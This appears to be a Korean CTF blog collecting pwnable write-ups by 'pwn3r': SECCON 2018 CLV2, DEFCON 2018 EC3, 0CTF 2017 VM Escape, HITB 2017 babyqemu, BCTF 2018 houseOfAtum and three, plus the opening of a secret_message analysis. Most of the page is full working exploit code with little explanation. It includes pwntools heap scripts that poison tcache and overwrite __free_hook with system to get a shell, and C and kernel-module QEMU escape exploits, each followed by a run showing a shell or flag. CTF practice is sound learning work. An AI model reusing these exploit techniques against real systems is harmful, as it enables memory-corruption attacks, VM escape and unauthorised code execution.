SECCON CTF 2018 QUAL - CLV2

CTF 2018.12.06 20:40

Category : pwnable


CLV2

489

3 Solves

Pwn me, and Prove yourself


nc clv2.pwn.seccon.jp 31337


Summary : tcache, use after free



Exploit

#!/usr/bin/python

from pwn import *

def cmd_register(name):
ru('[E]xit\n')
sl('R')
ru('name?\n')
sl(name)
return rl(False).split(' ')[0]

def cmd_login(name):
ru('[E]xit\n')
sl('L')
ru('User : ')
sl(name)


def cmd_play():
ru('[E]xit\n')
sl('P')

def cmd_add_prov(method, word):
ru('[E]xit\n')
sl('A')
ru('words > ')
ss(word)
ru('[3]\n')
sl(str(method))
ru('...\n')
ru('Added!')

def cmd_show_prov(hint, All=False):
res = {}
ru('[E]xit\n')
sl('S')
ru('[N]o\n')
sl('Y')
if not All:
ru('Hint : ')
sl(str(hint))
t = rl(False)
t = t.split(' : ')
res = t[1]
else:
ru('Hint : ')
sl(str(0x1cafe))
while 1:
t = rl(False)
if '=================' in t:
break
t = t.split(' : ')
res[int(t[0])] = t[1]
return res

def cmd_del_prov(hint):
ru('[E]xit\n')
sl('D')
ru('Hint : ')
sl(str(hint))
ru('Deleted!\n')

def calc_hint(x):
t = sum(map(ord, x))
if t > 0x100:
return (t & 0xff) + 0x100
else:
return t

#s = process('./clv2')
s = remote('clv2.pwn.seccon.jp', 31337)

ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

cmd_register('pwn3r\x00\x00\x00'+'MAST=pwn3r\x00'.ljust(0x10, '\x00') * 0x23 + '\x88\x56')
#s.interactive()
#cmd_login('pwn3r')

cmd_play()

################ heap leak ##################
cmd_add_prov(2, 'B')
cmd_add_prov(2, 'A')
cmd_del_prov(ord('A'))
cmd_del_prov(ord('B'))

cmd_add_prov(2, 'C')

heap_base = u64(cmd_show_prov(ord('C')).ljust(8, '\x00')) - 0x500343
print hex(heap_base)
cmd_del_prov(ord('C'))
#############################################

################ libc leak ##################
for i in range(8):
cmd_add_prov(2, chr(0x17 - i).ljust(0x91, '\x01'))

for i in range(8):
cmd_del_prov(0xa0 + i)

cmd_add_prov(2, 'D')
cmd_add_prov(2, 'E')
cmd_add_prov(2, 'F')
libc_base = u64(cmd_show_prov(ord('F')).ljust(8, '\x00')) - 0x3ebd46 # libc_leak
libc_free_hook = libc_base + 0x3ed8e8
libc_system = libc_base + 0x4f440
print hex(libc_base)

cmd_del_prov(ord('F'))
cmd_del_prov(ord('E'))
cmd_del_prov(ord('D'))
#############################################

########## overwrite __free_hook ############
for i in range(0, 4):
cmd_add_prov(2, chr(0x24-i)*0x47) # pop from tcache
cmd_add_prov(2, '\x10' * 0x67)

fake_chunk = ''
fake_chunk += p64(0) * 4
fake_chunk += p64(0x1)
fake_chunk += p64(heap_base + 0x205b0)
fake_chunk += p64(8)
fake_chunk += p64(0) * 4 # padding
hint = sum(map(ord, fake_chunk))#calc_hint(fake_chunk)

tt = (0x565 - hint)
fake_chunk = chr(tt / 24) * 23 + chr(tt - (tt / 24) * 23) + fake_chunk[0x18:]

cmd_add_prov(2, fake_chunk)

cmd_add_prov(2, 'a')
cmd_del_prov(ord('a'))

fake_chunk_ptr = ''
fake_chunk_ptr += p64(0) * 4
fake_chunk_ptr += p64(ord('a'))
fake_chunk_ptr += p64(0) * 2
fake_chunk_ptr += p64(heap_base + 0x500840)

hint = sum(map(ord, fake_chunk_ptr))

tt = (0x464 - hint)
fake_chunk_ptr = chr(tt / 24) * 23 + chr(tt - (tt / 24) * 23) + fake_chunk_ptr[0x18:]

cmd_add_prov(2, fake_chunk_ptr)
cmd_add_prov(2, 'a')

cmd_del_prov(0x67 * 0x10)
cmd_del_prov(1)

# (0x50) tcache_entry[3]: 0x55c7c13905b0 --> 0x55c7c13905b0 (overlap chunk with 0x55c7c13905a0(freed) )

cmd_add_prov(2, p64(libc_free_hook).ljust(0x48-2, '\x01'))
cmd_add_prov(2, ''.ljust(0x48-2, '\x01'))
cmd_add_prov(2, p64(libc_system).ljust(0x48-2, '\x01'))
cmd_add_prov(2, 'sh;')

# cmd_del_prov
ru('[E]xit\n')
sl('D')
ru('Hint : ')
sl(str(sum(map(ord, 'sh;'))))
#############################################

s.interactive()
s.close()


$ while [ 1 ] ; do python pwn3r.py ; done
..................................
..................................
e 54, in recv_raw
raise EOFError
EOFError
[*] Closed connection to clv2.pwn.seccon.jp port 31337
[+] Opening connection to clv2.pwn.seccon.jp on port 31337: Done
0x55de14578000
0x7f4d2d589000
[*] Switching to interactive mode
$ id
uid=1001 gid=1001 groups=1001
$ cat /home/clv2/flag.txt
SECCON{??????????????????????????}




'CTF' 카테고리의 다른 글

33C3 CTF - babyfengshui  (0) 2018.12.14
BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

DEFCON CTF 2018 QUAL - EC3

CTF 2018.12.03 22:52

Category : pwnable


Summary : qemu escape



Exploit

#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>


#define OOO_ALLOCATE 0x000000
#define OOO_FREE 0x100000
#define OOO_WRITE 0x200000

#define MAP_SIZE 0x1000000

#define OOO_BIN_BASE 0x1317940
#define FREE_GOT 0x11301a0
#define OOO_MAGIC_GADGET 0x6e65f9

int fd;
char *mmio;

uint64_t ooo_read(uint32_t idx, uint32_t offset){
uint32_t hwaddr;
uint64_t out;

hwaddr = idx << 16 | offset;
out = *((uint64_t *)(&mmio[hwaddr]));

return out;
}

void ooo_write(uint32_t idx, uint32_t offset, uint32_t type, uint64_t data, uint32_t length){
uint32_t hwaddr;
hwaddr = idx << 16 | type | offset;

switch(length){
case 1:
*((uint8_t *)(&mmio[hwaddr])) = (uint8_t)data;
break;
case 2:
*((uint16_t *)(&mmio[hwaddr])) = (uint16_t)data;
break;
case 4:
*((uint32_t *)(&mmio[hwaddr])) = (uint32_t)data;
break;
case 8:
default:
*((uint64_t *)(&mmio[hwaddr])) = (uint64_t)data;
}
}

int main()
{
uint64_t libc_base = 0, data = 0;

fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
mmio = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

if(fd < 0 || (int64_t)mmio < 0){
write(1, "fail\n", 5);
exit(-1);
}

ooo_write(2, 0, OOO_ALLOCATE, 0x90/8, 4);
ooo_write(0, 0, OOO_ALLOCATE, 0x60/8, 4);
ooo_write(0, 0, OOO_FREE, 0, 4);
ooo_write(0, 0, OOO_WRITE, OOO_BIN_BASE + (2 * 8) + 0x5 - 8, 8);

/*
(0x70) fastbin[5]: 0x7fc0b81e69c0 --> 0x7fc0b81e6900 --> 0x7fc0b81e6840 -->
0x7fc0b8202100 --> 0x7fc0b8202040 --> 0x7fc0b8201f80 --> 0x7fc0b8201ec0 -->
0x7fc0b8201e00 --> 0x7fc0b8201d40 --> 0x7fc0b8201c80 --> 0x7fc0b8201bc0 -->
0x7fc0b8201b00 --> 0x7fc0b8201a40 --> 0x7fc0b81e3700 --> 0x7fc0b81e3640 -->
0x7fc0b81e3580 --> 0x7fc0b81e34c0 --> 0x7fc0b81e3400 --> 0x7fc0b81e3340 -->
0x7fc0b81e3280 --> 0x7fc0b81e31c0 --> 0x7fc0b81e3100 --> 0x7fc0b81e3040 -->
0x7fc0b81e2300 --> 0x7fc0b81e2240 --> 0x7fc0b81e2180 --> 0x7fc0b81e20c0 -->
0x7fc0b81e2000 --> 0x7fc0b81e1f40 --> 0x7fc0b81e1e80 --> 0x7fc0b81e1dc0 -->
0x131794d (size error (0x78)) --> 0x0
*/
do{
ooo_write(0, 0, OOO_ALLOCATE, 0x60/8, 4); // return value = OOO_BIN_BASE + (2 * 8) + 5 + 8
data = ooo_read(0, 0);
}while(data);

ooo_write(0, 3, OOO_WRITE, FREE_GOT, 8);

ooo_write(4, 0, OOO_WRITE, OOO_MAGIC_GADGET, 8);
ooo_write(4, 0, OOO_FREE, 0, 4);
}


/root # cat file | base64 -d > pay
/root # chmod +x pay
/root # mv pay exploit
/root # ./exploit
CTF{THISISFLAG}
0
qemu: qemu_mutex_lock_impl: Invalid argument
Aborted (core dumped)



'CTF' 카테고리의 다른 글

BCTF 2018 - easywasm  (0) 2018.12.06
SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

0CTF 2017 FINAL - VM Escape

CTF 2018.12.03 22:50

Category : pwnable


Summary : qemu escape





Exploit


#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/fcntl.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <linux/delay.h>

#define IOMEM_A 0xfe900000
#define IOMEM_B 0xfea00000
#define IOPORT_A 0xc000
#define IOPORT_B 0xc100

#define MMIO_SRC 0x04
#define MMIO_DST 0x08
#define MMIO_COPY 0x20
#define MMIO_CMD 0x24
#define MMIO_TIMER 0x80
#define MMIO_EXPIRE_LO 0x88
#define MMIO_EXPIRE_HI 0x8c

#define LINEAR_INIT 0x0
#define LINEAR_COPY 0x0
#define LINEAR_SRC 0x4
#define LINEAR_DATA 0x5
#define LINEAR_LEN 0x8
#define LINEAR_SR_ADDR 0x9
#define LINEAR_SR_REF 0xa
#define LINEAR_P 0xb
#define LINEAR_N 0xc
#define LINEAR_TIMER 0xd

#define virt_to_phys(address) (__pa(address))
#define phys_to_virt(address) (__va(address))

MODULE_AUTHOR("pwn3r");
MODULE_DESCRIPTION("Escape");
MODULE_LICENSE("pwn3r");

struct dma_state{
uint64_t src;
uint64_t dst;
uint64_t cnt;
uint64_t cmd;
uint64_t phys_mem_read;
uint64_t phys_mem_write;
uint8_t buf[768];
};

uint64_t tencent_linear_read(uint32_t port, uint64_t hwaddr){
uint64_t out = 0;
out = inl(port + hwaddr);
return out;
}
void tencent_linear_write(uint32_t port, uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
outb((uint8_t)value, port + hwaddr);
break;
case 2:
outw((uint16_t)value, port + hwaddr);
break;
case 4:
outl((uint32_t)value, port + hwaddr);
break;
}
}
uint64_t tencent_mmio_read(uint64_t iomem, uint64_t hwaddr, uint32_t length){
uint64_t out;
switch(length){
case 1:
out = readb(iomem+hwaddr);
break;
case 2:
out = readw(iomem+hwaddr);
break;
case 4:
out = readl(iomem+hwaddr);
break;
case 8:
default:
out = readq(iomem+hwaddr);
}
return out;
}

void tencent_mmio_write(uint64_t iomem, uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
writeb(value, iomem+hwaddr);
break;
case 2:
writew(value, iomem+hwaddr);
break;
case 4:
writel(value, iomem+hwaddr);
break;
case 8:
default:
writeq(value, iomem+hwaddr);
}
}

void tencent_uninit_A(void){
struct file *filp = NULL;
char buf[2] = "0";
mm_segment_t oldfs;
int err = 0;
loff_t pos;
oldfs = get_fs();
set_fs(get_ds());
filp = filp_open("/sys/bus/pci/slots/4/power", O_RDWR, 0644);

if (IS_ERR(filp)) {
err = PTR_ERR(filp);
printk("[-] Cannot disable pci 4\n");
}
vfs_write(filp, buf, 2, &pos);
filp_close(filp, NULL);
set_fs(oldfs);
}

static int __init exploit_init(void)
{
char buf[0x1000];
uint64_t pie_base, system_plt;
uint64_t iomem_a, iomem_b;
struct dma_state fake_dstate;

memset(buf, 0x90, 0x1000);

// init state->dma_state
tencent_linear_read(IOPORT_A, LINEAR_INIT);
tencent_linear_read(IOPORT_B, LINEAR_INIT);
iomem_a = ioremap(IOMEM_A, 0x100000);
iomem_b = ioremap(IOMEM_B, 0x100000);

// stateA->sr[5] = 3
tencent_linear_write(IOPORT_A, LINEAR_SR_ADDR, 5, 1);
tencent_linear_write(IOPORT_A, LINEAR_SR_REF, 3, 1);

// stateB->sr[5] = 3
tencent_linear_write(IOPORT_B, LINEAR_SR_ADDR, 5, 1);
tencent_linear_write(IOPORT_B, LINEAR_SR_REF, 3, 1);

/* leak pie_base */
tencent_mmio_write(iomem_a, MMIO_DST, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_A, LINEAR_LEN, (0x1180+0x30) - 0xe70, 4);
tencent_mmio_write(iomem_a, MMIO_COPY, 0, 4);
pie_base = *((uint64_t *)&buf[(0x1180+0x28) - 0xe70]) - 0x5c143f;
system_plt = pie_base + 0x1fe158;
/*
gdb-peda$ x/60a 0x5555580d4c40 + 0x1180
0x5555580d5dc0: 0x0 0x51
0x5555580d5dd0: 0x5555580d5e20 0x5555580d5e40
0x5555580d5de0: 0x0 0x555555b1543f <property_get_bool>
*/
printk("pie_base : %p\n", pie_base);

/* stateA->dma_buf[:13] = "cat flag.txt"; */
memcpy(buf, "cat flag", 9);
tencent_mmio_write(iomem_a, MMIO_SRC, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_A, LINEAR_LEN, 9, 4);
tencent_mmio_read(iomem_a, MMIO_COPY, 4);

// stateA->sr[129] = 1
tencent_linear_write(IOPORT_A, LINEAR_SR_ADDR, 129, 1);
tencent_linear_write(IOPORT_A, LINEAR_SR_REF, 1, 1);

// timer(1)
tencent_mmio_write(iomem_a, MMIO_EXPIRE_LO, 1000000000 * 1, 4);
tencent_mmio_write(iomem_a, MMIO_TIMER, 0, 4);
fake_dstate.src = 0;
fake_dstate.dst = 0;
fake_dstate.cnt = 0;
fake_dstate.cmd = 0;
fake_dstate.phys_mem_read = 0;
fake_dstate.phys_mem_write = system_plt;
memset(&fake_dstate.buf, 0, 768);

// stateB->src = fake_dstate; stateB->dst = buf; stateB->dma_len = 0x330;
tencent_mmio_write(iomem_b, MMIO_SRC, virt_to_phys(&fake_dstate), 4);
tencent_mmio_write(iomem_b, MMIO_DST, virt_to_phys(buf), 4);
tencent_linear_write(IOPORT_B, LINEAR_LEN, 0x330, 4);

// free stateA->dma_state
tencent_uninit_A();

// stateA->dma_state = stateB->buf = g_malloc(0x330);
// stateA->dam_state = fake_dstate;
tencent_linear_write(IOPORT_B, LINEAR_COPY, 0x0, 1);
mdelay(1000);
return 0;
}

static void __exit exploit_cleanup(void)
{
iounmap(iomem_a);
iounmap(iomem_b);
}

module_init(exploit_init);
module_exit(exploit_cleanup);


# cat file  | base64 -d > exploit.ko
# insmod exploit.ko
[ 25.881252] pwn3r: loading out-of-tree module taints kernel.
[ 25.882120] pwn3r: module license 'pwn3r' taints kernel.
[ 25.882559] Disabling lock debugging due to kernel taint
[ 25.936876] pwn3r: module verification failed: signature and/or required key missing - tainting kernel
[ 26.031904] pie_base : 000055edb7cd2000
CTF{THIS_IS_FLAG}






'CTF' 카테고리의 다른 글

SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30
BCTF 2018 - three  (0) 2018.11.30

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

HITB GSEC 2017 - babyqemu

CTF 2018.12.03 22:49


Category : pwnable


Summary : qemu escape




Exploit


#include
<sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <time.h>


#define SRC_LO 0x80
#define SRC_HI 0x84
#define DST_LO 0x88
#define DST_HI 0x8c
#define CNT 0x90
#define TIMER 0x98

#define TIMER_READ 0x1
#define TIMER_WRITE 0x3
#define TIMER_ENC 0x4

#define MAP_SIZE 0x1000

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

int fd;
int pagemap_fd;
char *mmio;


///////// http://www.phrack.org/papers/vm-escape-qemu-case-study.html //////////
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(pagemap_fd, offset, SEEK_SET);
read(pagemap_fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
if(gfn == -1){
write(1, "convert fail\n", 13);
exit(-1);
}
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
/////////////////////////////////////////////////////////////////////////////////

uint64_t hitb_read(uint64_t hwaddr){
uint64_t out;

out = *((uint32_t *)(&mmio[hwaddr]));
return out;
}

void hitb_write(uint64_t hwaddr, uint64_t value, uint32_t length){
switch(length){
case 1:
*((uint8_t *)(&mmio[hwaddr])) = (uint8_t)value;
break;
case 2:
*((uint16_t *)(&mmio[hwaddr])) = (uint16_t)value;
break;
case 4:
*((uint32_t *)(&mmio[hwaddr])) = (uint32_t)value;
break;
case 8:
default:
*((uint64_t *)(&mmio[hwaddr])) = (uint64_t)value;
}
}

void memset(void *dest, int c, size_t count){
int i;
for(i=0;i<count;i++) *(char *)dest++ = (char)c;
}

void memcpy(void *dest, void *src, size_t count){
int i;
for(i=0;i<count;i++) *(char *)dest++ = *(char *)src++;
}


int main()
{
struct timespec ts;
uint64_t pie_base, system_plt, free_got, data;
char buf[0x100];

fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
mmio = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
pagemap_fd = open("/proc/self/pagemap", O_RDONLY);

if(fd < 0 || (int64_t)mmio < 0 || pagemap_fd < 0){
write(1, "fail\n", 5);
exit(-1);
}

memset(buf, 0x90, 0x100);
ts.tv_sec = 3;
ts.tv_nsec = 0;

/* leak pie base */
hitb_write(SRC_LO, 0x41000, 8);
hitb_write(DST_LO, gva_to_gpa(buf), 8);
hitb_write(CNT, 8, 8);
hitb_write(TIMER, TIMER_WRITE, 8);
nanosleep(&ts, NULL);

pie_base = *((uint64_t *)buf) - 0x283dd0;
system_plt = pie_base + 0x1fdb18;


/* hitbState->enc = system@plt */
hitb_write(SRC_LO, (gva_to_gpa(&system_plt)), 8);
hitb_write(DST_LO, 0x41000, 8);
hitb_write(CNT, 8, 8);
hitb_write(TIMER, TIMER_READ, 8);
nanosleep(&ts, NULL);


/* hitbState->dma_buf[0:9] = "cat flag\x00"*/
memcpy(buf, "cat flag", 9);
hitb_write(SRC_LO, (gva_to_gpa(buf)), 8);
hitb_write(DST_LO, 0x40000, 8);
hitb_write(CNT, 9, 8);
hitb_write(TIMER, TIMER_READ, 8);
nanosleep(&ts, NULL);


/* hitbState->enc("cat flag", hitbState->dma.cnt) */
hitb_write(SRC_LO, 0x40000, 8);
hitb_write(DST_LO, 0xcafebabedeafbeef, 8);
hitb_write(CNT, 9, 8);
hitb_write(TIMER, TIMER_WRITE | TIMER_ENC, 8);
nanosleep(&ts, NULL);

/* flag! */

close(fd);
close(pagemap_fd);
munmap(mmio, MAP_SIZE);
exit(0);
}


# cat pay | base64 -d > exploit
# chmod +x exploit
# ./exploit
CTF{THIS_IS_FLAG}

#



'CTF' 카테고리의 다른 글

DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30
BCTF 2018 - three  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

BCTF 2018 - houseOfAtum

CTF 2018.11.30 21:33

Category : pwnable


Summary : uaf, tcache, show function, confusion between tcache and fastbin, 2 notes




Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(data):
ru('Your choice:')
ss('1\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_edit(idx, data):
ru('Your choice:')
ss('2\x00')
ru('Input the idx:')
ss(str(idx)+'\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_del(idx, erase=False):
ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss(str(idx))
ru('Clear?(y/n):')
if erase:
ss('y\x00')
else:
ss('n\x00')
ru('Done!\n')

def cmd_show(idx):
ru('Your choice:')
ss('4\x00')
ru('Input the idx:')
ss(str(idx))
ru('Content:')
res = rl(False)
ru('Done!\n')
return res

#s = process('./atum')
s = remote('60.205.224.216', 9999)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

raw_input('>')

cmd_add('a')
cmd_add('b')
cmd_del(0)
cmd_del(0)

heap_base = u64(cmd_show(0).ljust(8, '\x00')) - 0x260
cmd_edit(0, (p64(0) + p64(0x91)) + (p64(0) + p64(0)) * 2 + (p64(0) + p64(0xa1)) + p64(heap_base+0x68))
cmd_edit(1, (p64(0) + p64(0)) * 3 + (p64(0) + p64(0x11)) + p64(0))
print hex(heap_base)

for _ in range(5):
cmd_del(0)

cmd_del(1, True)
cmd_del(0, True)

cmd_add('a') # 0
cmd_add('b') # 1
cmd_del(1, True)
cmd_add(p64(0)) # 1 : tcache.bins
cmd_del(0, True)
cmd_edit(1, p64(heap_base + 0x80) + (p64(0) + p64((0x250 - 0x70) | 1)))
cmd_add(p64(0)) # 0 : fake_chunk
for i in range(8):
if i == 7:
cmd_del(0, True)
else:
cmd_del(0) # into unsorted bin
cmd_edit(1, 'a' * 0x18)
libc_base = u64(cmd_show(1)[0x18:].ljust(8, '\x00')) - 0x3ebca0
print hex(libc_base)
libc_system = libc_base + 0x4f440
libc_free_hook = libc_base + 0x3ed8e8

cmd_edit(1, p64(libc_free_hook) + p64(0) * 4)
cmd_add(p64(libc_system))
cmd_edit(1, 'sh'.ljust(8, '\x00'))

ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss('1\x00')

s.interactive()
s.close()


$ python ex.py
[+] Starting local process './atum': pid 29994
0x561917b54000
0x7f6282d24000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


'CTF' 카테고리의 다른 글

0CTF 2017 FINAL - VM Escape  (0) 2018.12.03
HITB GSEC 2017 - babyqemu  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30
BCTF 2018 - three  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

BCTF 2018 - three

CTF 2018.11.30 21:32

Category : pwnable


Summary : uaf, tcache, without show function, overwrite STDOUT


HITCON 2018 의 baby_tcache 와 굉장히 유사한 문제. 


Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(data):
ru('Your choice:')
ss('1\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_edit(idx, data):
ru('Your choice:')
ss('2\x00')
ru('Input the idx:')
ss(str(idx)+'\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_del(idx, erase=False):
ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss(str(idx))
ru('Clear?(y/n):')
if erase:
ss('y\x00')
else:
ss('n\x00')
ru('Done!\n')


#s = process('./three')
s = remote('39.96.13.122', 9999)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

cmd_add('a' * 0x10 + (p64(0) + p64(0xa1)))
cmd_add('a' * 0x10 + (p64(0) + p64(0x31)))
cmd_add('a' * 0x10 + (p64(0) + p64(0x31)))

cmd_del(2, True)
cmd_del(1, True)
cmd_del(0)

cmd_edit(0, '\x68\xc0')
#raw_input('>')

cmd_add(p64(0))
cmd_add(p64(0)) # 2 : tcache[3]
cmd_del(1, True)
cmd_edit(2, '\x80')
cmd_add(p64(0)) # 1 : fake chunk
for i in range(0, 8):
if i == 7:
cmd_del(1, True)
else:
cmd_del(1)
cmd_edit(0, p64(0) +p64(0) + p64(0) + p64(0x51) + '\x60\x87')
#raw_input('>')
cmd_del(0, True)

cmd_edit(2, '\x80')
cmd_add(p64(0))

ru('Your choice:')
ss('1\x00')
ru('Input the content:')
ss(p64(0xfbad1800) + p64(0)*3 + '\x00')
data = ru('Done!\n')

if len(data) < 8:
s.close()
exit(-1)

libc_base = u64(data[8:16]) - 0x3ed8b0
libc_system = libc_base + 0x4f440
libc_free_hook = libc_base + 0x3ed8e8

print hex(libc_base)
cmd_del(0, True)
cmd_edit(2, p64(libc_free_hook))
cmd_add(p64(libc_system))

cmd_edit(1, 'sh\x00')
ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss('1\x00')
s.interactive()
s.close()


$ while [ 1 ] ; do python exploit.py ; done
[+] Starting local process './three': pid 1990
Traceback (most recent call last):

............................

ne 126, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/home/pwn3r/.local/lib/python2.7/site-packages/pwnlib/tubes/process.py", line 694, in recv_raw
raise EOFError
EOFError
[*] Process './three' stopped with exit code -11 (SIGSEGV) (pid 2113)
[+] Starting local process './three': pid 2118
0x7f496f77c000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

HITB GSEC 2017 - babyqemu  (0) 2018.12.03
BCTF 2018 - houseOfAtum  (0) 2018.11.30
BCTF 2018 - three  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable



secret_message

494

2 Solves

Let's share a secret with us nc secret-message.pwn.seccon.jp 31337


(Hint: We allow a "little" bruteforcing to secret_message only.)


Summary : ascii art, out of boundary, double staged format string attack, * precision, fread, fwrite



off by one 취약점으로 풀어야 하는줄 알고 초반에 방향 잘못 잡았던 문제.

fsb 로 취약점으로 풀이가능하다. 문제 description에서 "little" brute force를 허용해주는 것으로 보아 GOT에 partial overwrite를 의도한 것으로 추측되지만, payload를 잘 구성하니 one shot exploit 가능했다. 


재밌었음.



Concept

# encode
$ ./secret_message
welcome~
e
to :
toto
from :
fromfrom
filename :
hello
message length :
2
message :
ab

# decode
$ ./secret_message
welcome~
s
path :
hello

__ _
/ _` |
| (_| |
\__,_|

_
| |__
| '_ \
| |_) |
|_.__/


from : fromfrom
to : toto

바이너리를 실행하면 위와 같이 e(encode)와 s(decode) 2가지 기능이 존재한다. e는 alphanum characters를 입력받아 file에 encode하여 저장하며, s는 file을 열어 decode 하고 ascii art 형태로 보여준다. 

기능은 간단하지만, encode/decode 루틴이 꽤 복잡하다. 생성되는 file의 구조는 아래와 같다.


$ xxd files/hello
00000000: 4254 5300 0200 0000 0800 0000 0400 0000 BTS.............
00000010: 12ab 0000 0003 0000 3000 0000 0000 0000 ........0.......
00000020: bdf2 01b0 c92d 1db3 dadc d0e6 b6b9 6973 .....-........is
00000030: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
00000040: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
00000050: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
00000060: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
00000070: e050 4ca4 a7be 68d4 f7e9 9f5d b4fd 74b8 .PL...h....]..t.
00000080: 7aff 7177 cd02 dadc f7e9 9f5d b4fd 74b8 z.qw.......]..t.
00000090: b07a 2b34 237e 07cc 4e90 9fb6 7411 9b88 .z+4#~..N...t...
000000a0: 6640 e65b 3394 aba2 4e90 9fb6 7411 9b88 f@.[3...N...t...
000000b0: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
000000c0: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
000000d0: fd9b d0b8 9054 6afb 26c9 6715 d75a 5da1 .....Tj.&.g..Z].
000000e0: 887d 8c18 a48b b530 26c9 6715 d75a 5da1 .}.....0&.g..Z]. XXXX : file header

000000f0: dabe 2f8c dcfe 389d 6497 a2e9 b691 e9a3 ../...8.d....... XXXX : letter header
00000100: 68a8 a196 d35e e2ee 6497 a2e9 b691 e9a3 h....^..d....... XXXX : letter data (encoded)
00000110: b07a 2b34 237e 07cc 4e90 9fb6 7411 9b88 .z+4#~..N...t... XXXX : from, to
00000120: 6640 e65b 3394 aba2 4e90 9fb6 7411 9b88 f@.[3...N...t...
00000130: 8a15 fe5e ef13 d93f 8234 af5f 5d3f b2a6 ...^...?.4._]?..
00000140: fd9b d0b8 9054 6afb 8234 af5f 5d3f b2a6 .....Tj..4._]?..
